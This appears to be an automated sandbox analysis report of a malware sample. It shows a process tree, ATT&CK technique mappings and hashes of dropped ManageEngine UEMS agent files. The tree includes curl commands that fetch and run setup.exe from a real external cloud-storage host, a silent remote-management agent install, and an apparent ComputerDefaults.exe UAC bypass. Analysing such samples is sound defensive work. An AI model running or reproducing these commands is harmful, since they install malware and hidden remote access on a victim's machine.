  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2408
    - - C:\ProgramData\QzQCabxektExyIODNQswERbfgbdDSWmh.uBU\eOltBWePDCqvqTyuCfswLoTYrPYKoAgV.daO.exe
        
        "eOltBWePDCqvqTyuCfswLoTYrPYKoAgV.daO.exe"
        5⤵
        Executes dropped EXE
        
        PID:2532
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\wTJOqRv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    - Downloads MZ/PE file
    PID:3240
- - C:\Users\Admin\AppData\Local\Temp\vudgaRv923.6.5767.71931.EXE
    "C:\Users\Admin\AppData\Local\Temp\vudgaRv923.6.5767.71931.EXE" /S /norestart
    3⤵
    - Executes dropped EXE
    PID:5448
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:4768
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"
        5⤵
        
        PID:6092
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5744
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:5804
    - - C:\ProgramData\TTcsMGFtLNeERTUuHdDhRjUNAXrnmGbi.XwZ\nZOZhQxFcjOOxPGaEExuVtZvFHcKXeDd.SFu.exe
        
        "nZOZhQxFcjOOxPGaEExuVtZvFHcKXeDd.SFu.exe"
        5⤵
        
        PID:5604
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\cUWCnZv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:4780
- - C:\ProgramData\RVguwfFaMUwKREOsbmhkNjzKYTmuoHcM.RFU\bJhshrPxdPueWfhtMbwhCUPpCQlBCXgs.AvM.exe
    "C:\ProgramData\RVguwfFaMUwKREOsbmhkNjzKYTmuoHcM.RFU\bJhshrPxdPueWfhtMbwhCUPpCQlBCXgs.AvM.exe"
    3⤵
    PID:5892
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\TCWRhDv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:2528
- - C:\Users\Admin\AppData\Local\Temp\wTJOqRv923.6.5767.71931.EXE
    "C:\Users\Admin\AppData\Local\Temp\wTJOqRv923.6.5767.71931.EXE" /S /norestart
    3⤵
    PID:5032
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX1\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:708
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX1\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX1\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX1\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX1\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Agentinstalllog.txt"
        5⤵
        
        PID:4588
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:4484
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:6004
    - - C:\ProgramData\llTCFQjvtuRrcamDqZrMMyOvrqYQkqDx.DAp\HjFfonenjVMsoVjMgVIIWqaQlmlkEpBJ.eyp.exe
        
        "HjFfonenjVMsoVjMgVIIWqaQlmlkEpBJ.eyp.exe"
        5⤵
        
        PID:484
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\jBXBPov923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:2708
- - C:\ProgramData\DulqcsSpXyGeSistPfOoHUpqkXuJOhEH.grs\yDIIESMavgDYeujrWNtEGNhAHTEOYgJi.WzI.exe
    "C:\ProgramData\DulqcsSpXyGeSistPfOoHUpqkXuJOhEH.grs\yDIIESMavgDYeujrWNtEGNhAHTEOYgJi.WzI.exe"
    3⤵
    PID:5384
- - C:\ProgramData\wJFpHcVQIoaClFUfkZRunogBCyPgBtct.KlR\LVBBFlwNYfelPbDacILLxtonGrVAisNq.Mnl.exe
    "C:\ProgramData\wJFpHcVQIoaClFUfkZRunogBCyPgBtct.KlR\LVBBFlwNYfelPbDacILLxtonGrVAisNq.Mnl.exe"
    3⤵
    PID:4468
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\lrhHsQv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:5376
- - C:\Users\Admin\AppData\Local\Temp\TCWRhDv923.6.5767.71931.EXE
    "C:\Users\Admin\AppData\Local\Temp\TCWRhDv923.6.5767.71931.EXE" /S /norestart
    3⤵
    PID:4412
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX2\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:5192
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX2\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX2\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX2\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Agentinstalllog.txt"
        5⤵
        
        PID:4668
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:6096
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:1484
    - - C:\ProgramData\MzVqqnEkPkZGBAiCIwZdOGtOgJcfiZyK.PID\gNeLpqunbXvDXoIJWRCovRVIlDqgHDtP.tMM.exe
        
        "gNeLpqunbXvDXoIJWRCovRVIlDqgHDtP.tMM.exe"
        5⤵
        
        PID:3928
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\LKZsiSv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:4260
- - C:\ProgramData\KznGzOyEajSRpZTPtxDnRSJZoPjXJmqQ.uGo\irwxpPJpfToJzcnBNSSWajyPbxOwIiAB.eQu.exe
    "C:\ProgramData\KznGzOyEajSRpZTPtxDnRSJZoPjXJmqQ.uGo\irwxpPJpfToJzcnBNSSWajyPbxOwIiAB.eQu.exe"
    3⤵
    PID:5796
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\xUZJjlv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:4896
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:3884
    - - C:\ProgramData\LBGGUEFOEivTuqUeSEXdPMAbLONEdPVe.VpY\ROBrcgzxuzwUzcJrFSpUQXjLGUabqYuV.epm.exe
        
        "ROBrcgzxuzwUzcJrFSpUQXjLGUabqYuV.epm.exe"
        5⤵
        
        PID:3248
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\AseaPPv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:4660
- - C:\ProgramData\IWQkdbWEPaUawiyvuCYeUfWHgSvSlELu.qvq\oyQNYsNSnOOCsvAjHzSoDXCdwtSGTQtm.YmC.exe
    "C:\ProgramData\IWQkdbWEPaUawiyvuCYeUfWHgSvSlELu.qvq\oyQNYsNSnOOCsvAjHzSoDXCdwtSGTQtm.YmC.exe"
    3⤵
    PID:4212
- - C:\ProgramData\LBGGUEFOEivTuqUeSEXdPMAbLONEdPVe.VpY\ROBrcgzxuzwUzcJrFSpUQXjLGUabqYuV.epm.exe
    "C:\ProgramData\LBGGUEFOEivTuqUeSEXdPMAbLONEdPVe.VpY\ROBrcgzxuzwUzcJrFSpUQXjLGUabqYuV.epm.exe"
    3⤵
    PID:1320
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\yqneGyv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:2488
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:672
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:3920
    - - C:\ProgramData\OtNHlRqcOJHecMhqWHCVMoXwClRvNtrX.IRI\EDgCGFpZkdvCwBuzCfMsukuzyaTcVIyg.sRQ.exe
        
        "EDgCGFpZkdvCwBuzCfMsukuzyaTcVIyg.sRQ.exe"
        5⤵
        
        PID:800
- - C:\Users\Admin\AppData\Local\Temp\xUZJjlv923.6.5767.71931.EXE
    "C:\Users\Admin\AppData\Local\Temp\xUZJjlv923.6.5767.71931.EXE" /S /norestart
    3⤵
    PID:4612
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX3\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:1452
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX3\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX3\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX3\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX3\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Agentinstalllog.txt"
        5⤵
        
        PID:256
- - C:\ProgramData\ROknzQXbvTqImkTvtVbxoHPbWKmcEyZW.WjG\mtKAelDUixevPaJipngvJZMqxCtmigUx.HBd.exe
    "C:\ProgramData\ROknzQXbvTqImkTvtVbxoHPbWKmcEyZW.WjG\mtKAelDUixevPaJipngvJZMqxCtmigUx.HBd.exe"
    3⤵
    PID:4552
- - C:\ProgramData\WQdceevphLPgxQOkmtFlDLRyDtdcktqD.xXK\ujxFHVHNGEtXVOhmBCepybayDdCUMfNa.Slk.exe
    "C:\ProgramData\WQdceevphLPgxQOkmtFlDLRyDtdcktqD.xXK\ujxFHVHNGEtXVOhmBCepybayDdCUMfNa.Slk.exe"
    3⤵
    PID:4912
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\DIltnRv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:3048
- - C:\Users\Admin\AppData\Local\Temp\cUWCnZv923.6.5767.71931.EXE
    "C:\Users\Admin\AppData\Local\Temp\cUWCnZv923.6.5767.71931.EXE" /S /norestart
    3⤵
    PID:4268
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX4\SetUP.VBS"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      PID:5240
    - - C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX4\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX4\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX4\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX4\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Agentinstalllog.txt"
        5⤵
        
        PID:5720
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:4604
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:1208
    - - C:\ProgramData\yZgOrtyufaveflZZmBmCTNQqbxTBoLOB.NJn\KjTkYMTSDlOVGCbANRRBXpMjdLuifsRF.Srg.exe
        
        "KjTkYMTSDlOVGCbANRRBXpMjdLuifsRF.Srg.exe"
        5⤵
        
        PID:3408
- - C:\Windows\SysWOW64\cmd.exe
    /c "C:\Windows\System32\ComputerDefaults.exe"
    3⤵
    PID:4172
  - - C:\Windows\SysWOW64\ComputerDefaults.exe
      C:\Windows\System32\ComputerDefaults.exe
      4⤵
      PID:1760
    - - C:\ProgramData\yZgOrtyufaveflZZmBmCTNQqbxTBoLOB.NJn\KjTkYMTSDlOVGCbANRRBXpMjdLuifsRF.Srg.exe
        
        "KjTkYMTSDlOVGCbANRRBXpMjdLuifsRF.Srg.exe"
        5⤵
        
        PID:3404
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\lyLdbLv923.6.5767.71931.EXE" "https://dfghdfhd.oss-ap-southeast-5.aliyuncs.com/setup.exe"
    3⤵
    PID:2908
- - C:\Users\Admin\AppData\Local\Temp\lrhHsQv923.6.5767.71931.EXE
    "C:\Users\Admin\AppData\Local\Temp\lrhHsQv923.6.5767.71931.EXE" /S /norestart
    3⤵
    PID:5996

C:\Users\Public\WINDOWSAPPS\cIN~@{QTV\767.ynD
C:\Users\Public\WINDOWSAPPS\cIN~@{QTV\767.ynD
1⤵
- Executes dropped EXE
PID:3852

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4324
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7D1F351C3065088A68024534343E5CD3
  2⤵
  PID:4844
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  PID:5000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
    3⤵
    - Executes a command shell one-liner
    PID:5244
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      PID:5408
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:2388
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:5908
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "JGATYMDT\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:6060
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4432
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      PID:128
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      PID:2636

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ClientAuthHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
Size 3.1MB
SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
MD5 5e3325dc85cc12d8bfee900860aad196
SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
TLSH
T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentCryptoHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
Size 480KB
SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
MD5 5fffcb6c5222a8c135284688da03c53a
SHA1 01d0f499a855a787ccb4164460e6d233057062bc
SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
TLSH
T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentregister.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
Size 244KB
SHA256 fe60589f3edeb7738c0eed47e886b6a396b80181d81bd703a0ba18b09839fad1
MD5 eda3f4d032e0f94d572ba3e6e3667788
SHA1 ec748a69c24afec114d96ba82184047d5459066f
SHA512 873b1a18544c97ebd0db5236d682be2f731a8d59f9f46cfb7ec1c2e3c2c82a1100e7cc7ec0231a12726f17bb455bd867113e5a1b59d6905ad26275e00f7be715
SSDEEP 6144:KR7kbE5weorw3RrDpfNtnVCXkZZsap08/:KiEqrw3RxfNtVCo
TLSH
T172348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

configuration-settings-dc-win10.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
Size 247KB
SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
MD5 ff5c89c88fe59a341aa4fe80b6f58215
SHA1 82f86c6bde49bef92565d6f23e79f84bcdc14e20
SHA512 16f1a2208c4c9af43635c676a3e2cad98f8d4fcac0facb91cb3d5b9f5e144c45e42978454783abbadd3f29d3d3d02b9f1a455b0ca0f59cd21bcfeaf3a777a3dd
SSDEEP 768:HtMVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAR:HtMzZZ1uSNABIpkIU1
TLSH
T1584417969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-framework.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
Size 413KB
SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
MD5 a450789f0d23503c895bafaed3d4be27
SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
TLSH
T13694B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-onpremise.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
Size 109KB
SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
MD5 b39316c180a11c7cbefd08019ad9c97d
SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
TLSH
T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
Size 1.6MB
SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
MD5 ac79e017281cd633fb90c06a19a180fc
SHA1 32f8af8ab7c9a9752e7e09b28bba08eb23e8fbd1
SHA512 68e39d64aabf8be54ca43ed34618da249f3869c33822cb09f3c121cad8bf7640b5533c1cc0f77cb5a1a9bd0e8e079339b609fbd29d2a597204b70b01b071ae8c
SSDEEP 49152:pIvq3iwEAiWbHTKRU0YCNDZK+/0KoEDKtKzK5xFKOQFKNoDKlW83wKFC+KFE20:2vqSwEPWbHTKi0YChZK+/0KoEDKtKzKd
TLSH
T1FF75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagent.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
Size 4.6MB
SHA256 7828e61e2d60d5e50d92c8b2024ddd53f9005f755a2a85e23d163aaac64167cf
MD5 ba49956403bd9feddff58b00827c7bb5
SHA1 212045169d66e98dd5144d32735f15613d8ac37c
SHA512 8688d5562a70f32086cf7dceef8dc1afda760262fef2961c946aa94fad19d7d228b28bf84d9dbdc05844abbcf6b2e9c67a3eca22620635f82976716ca193f42f
SSDEEP 98304:6lZqIPjmcbAlc1M9xWNPFt/7KF2f3YhAn1B9:6/qIPNAlxjmTKEf3Y61B9
TLSH
T16D36CF13BA43D070D9DE02B815BA9B7B5E3D89158B3084E3ABD028BD88B51D1673F76D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato.woff

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
Size 36KB
SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
MD5 171937a8fad6a1c8a37344d09d4fc20c
SHA1 834ef4f8bdf16e94383272f7024070cebc002cfe
SHA512 c65909a920b6de0b19e083bab695e8e2dc812c143910ee1e0e69e7141a85e9fae0b2332795d52957aba5829609cd66bcbd4045eddde4df98c0a20c306a64aa3c
SSDEEP 768:2vevzUxNXpUN3RRTe5fF7leCB8EumP7M+e265Cz7NIpYIOi+SLyyS:2vevKNZUtRRfCBXF2HCHmpY3i3OL
TLSH
T10303E1795E45653DC4B283B7A1D8E3AF340F0A087A50653C13A3C36D6ABC7083F529EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcmsghandler.ico

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico
Size 14KB
SHA256 2d92583e576b380e3d8246a5bdced4a205860d49d9ef66e4acde5007caefac24
MD5 3f93e0ea97079b1f5b356166db334740
SHA1 ea3022d31459c8904df1e8f406741960fe9ce653
SHA512 24584bb387c1981ac08f4266f7312444ee922486f1d20a3d9f655df09048e347c8c2df8be64e3ec99b8d603e4e088296a2abb3e68fc2e85eb5431efba3971c36
SSDEEP 384:1w////ncRy/wUwRRR0RRZRXUuPPPPPP3opSLhRRwyRRWFRRyRDRRjRRRRRKRRRR+:5C
TLSH
T182624886C4054ACDCADA9B33C6EE56BF8A9508B88007504503FC3DF5EB53B19FE6A14E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drop_down_icon.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
Size 449B
SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
MD5 60bd20b51eb0483e93aa6f4cb0a84288
SHA1 35ef5eed1eb03f4c5ce8b6314d5457fd6984d7a4
SHA512 f359e72fc17bebaeaf7ac520667f300213fa1c10775a6fee1d0af05573a610bbbb2dc7050644ddb5610c05873adbfb90042d8d3694c3038792127c982c77425f
TLSH
T1C3F023062DA90252D34DA62704FC8022DE9B89045AC0381CBB07DC7D2F4059555C9BDF
MD5 SHA1 SHA512 TLSH

Submit Download

info.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
Size 2KB
SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
MD5 d4893659007e98de701a47cd39991be3
SHA1 536c49e5da960171320d4df6c9e6b573bdf2d030
SHA512 6d1812768eaae453512e4b47f190ea7ecc4bd5a535bd9f5c168e770f1c88291a74f95947199be8468127e7756260c94e28b6430556da65170537c384cba0bc29
TLSH
T1EF41A58272C4BFFD10035713B01FF395161AE902CEADF6D32135B6A4AC11614436687B
MD5 SHA1 SHA512 TLSH

Submit Download

minimize_icon.svg

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg
Size 161B
SHA256 08615c639994bf55e78c4dc10bf2b69a505cc1f1e3802f21a809a434daf651fe
MD5 10006715631c28cd1cca4302987b6371
SHA1 6a69a91b69b7cf310bbb4295496d3314211de6f9
SHA512 6c43259b84e93b7ed9d6a7202fde26482b934bc8fc67f6963e55788a8cbb08116535b266c07821bb2835058102baf3831d838fff00efc84e9cbc57fd881cc0e5
TLSH
T19DC08C26C2ACCB594322C6B0AA28A220946E4092A884D0A595E34B245173872FD8D8DA
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 4KB
SHA256 5d8a56304e1054d269e2801edc36f1b1f5f153a5a789a243f8851d802b207299
MD5 1e85c460230b87398f4c9393d7202e8d
SHA1 ceabe72d425228bddd617e68941fce1f113d32fd
